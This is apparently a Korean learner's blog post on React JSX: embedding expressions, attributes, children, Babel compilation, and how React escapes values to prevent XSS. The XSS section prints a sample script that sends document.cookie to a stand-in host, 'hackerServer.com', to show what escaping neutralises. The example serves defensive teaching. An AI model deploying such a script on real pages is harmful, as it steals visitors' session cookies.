React 시작하기 - JSX

아직 정리하지는 못했지만, Vue를 배웠고 이번에 React를 시작하게 되었다.

프론트엔드 프레임워크,라이브러리를 한번도 사용해보지 않았기 때문에 Vue를 배울 때 고생했던 기억이 난다.ㅠ

React를 공부하기 위해서 이것 저것 강의도 찾아보고 책도 구매해볼까 생각했지만

멘토님들과 다른 팀원분들의 말을 듣고 우선 React 공식 문서를 제대로 이해해보기로 했다!

사실 Vue도 그렇고 React 또한 공식문서 한번 안찾아본 내 자신을 반성하게 된다..😂

리액트 공식 문서

상당히 불친절 하다고 하는데... 그래도 번역은 되어 있어서 다행이다😂

주요 개념

JSX란?

React 주요 개념 목록을 보면 1번에 Hello World가 있고 그 다음 JSX 소개 파트가 나온다.

const element = <h1>Hello, world!</h1>;

const element는 자바스크립트인데 <h1> 태그는 HTML이다... 이것은 혼종인가🤔...

React는 별도의 파일에 마크업과 로직을 넣어 기술을 인위적으로 분리하는 대신, 둘 다 포함하는 "컴포넌트"라고 부르는 느슨하게 연결된 유닛으로 관심사를 분리합니다.

이 말에 따르면, HTML과 JS를 별도의 파일로 분리해서, HTML에서 JS를 불러오는 방식이 아닌 컴포넌트라는 단위에서 HTML과 JS를 사용할 수 있다는 뜻으로 이해했다.

JSX에서 표현식 포함하기

JSX에서 중괄호를 사용해서 자바스크립트 표현식을 사용할 수 있다. 표현식을 사용할 수 있다는 것은 동적으로 데이터를 처리하는게 가능하다고 볼 수 있다. JS로직을 사용해서 동적으로 표현식의 결과를 HTML에 렌더링 할 수 있게 된다.

return <h1> Hello, {formatName(user)}! </h1>;

getGreeting 이라는 함수는 위 JSX를 반환한다. 함수가 실행되면 JSX 표현식이 실행되고 JavaScript 객체로 인식된다.
조금 더 자세히 알아보기 위해 순서를 변경했다.

create-react-app을 사용하면 react application을 간단하게 만들 수 있고 바로 JSX를 사용해서 코딩이 가능하다. 따라서 React.createElement를 사용하는 경우는 없다고 봐도 된다. 하지만 무심코 사용하는 JSX가 어떻게 처리되는지를 알아야 제대로 이해할 수 있다고 생각한다.
위 설명과 같이 JSX 표현식은 Babel에 의해서 JavaScript 코드로 변경된다. React.createElement를 사용할 일은 없지만 결국에는 JSX 표현식이 JavaScript 코드가 된다는 것을 알고 있어야 한다.

JSX 속성 정의

일반적으로 HTML의 속성을 정의하는 것처럼 사용할 수 있고, { }를 사용해서 표현식을 삽입할 수도 있다.
중요한 점은 " "을 사용하는 방법과 { }을 사용하는 방법 중 하나만 사용해야 한다.

JSX로 자식 정의

JSX는 자식을 포함할 수 있다.

const element = (
  <div>
    <h1>Hello!</h1>
    <h2>Good to see you here.</h2>
  </div>
);

JSX를 사용해서 하나의 요소만을 사용할 수 있는 것은 아니다. 여기서 <div> 태그를 () 괄호로 감싸주는 것은 자동 세미콜론 삽입을 방지하기 위함이다.

XSS 공격 방어

기본적으로 React DOM은 JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프 하므로, 이 문장을 이해할 수 없었다. 렌더링하기 전에 이스케이프 한다는게 무슨 의미인가??

이스케이프(Escape)

특정 문자를 원래의 기능에서 벗어나게 변환하는 행위를 이스케이프라고 한다.
여기서 특정 문자란 &, <, >, ", ', space 를 의미한다.
& -> &amp
< -> &lt
> -> &gt
" -> &quot
' -> &#39
space(공백) -> &nbsp

쉽게 생각하면

<script>
  let xmlHttp = new XMLHttpRequest();
  const url =
    'http://hackerServer.com?victimCookie=' +
    document.cookie;
  xmlHttp.open('GET', url);
  xmlHttp.send();
</script>

이런 스크립트에서 <, ', ( 문자들이 이스케이프 됨으로 HTML 본연의 태그나 스크립트 기능이 제거되기 때문에 XSS 공격을 방지할 수 있다는 것이다.
참고 : JSX와 XSS(Cross Site Scripting) 공격

이렇게 공식 문서의 첫 번째 내용인 JSX에 대해 알아보았다. 처음보는 생소한 문법이기는 하지만, HTML과 JS를 따로 분리하지 않고 한 곳에서 모두 코딩할 수 있다는 점이 좋아보이고 XSS 공격 방어까지 가능한 매우 유용한 방법이라 생각한다 😄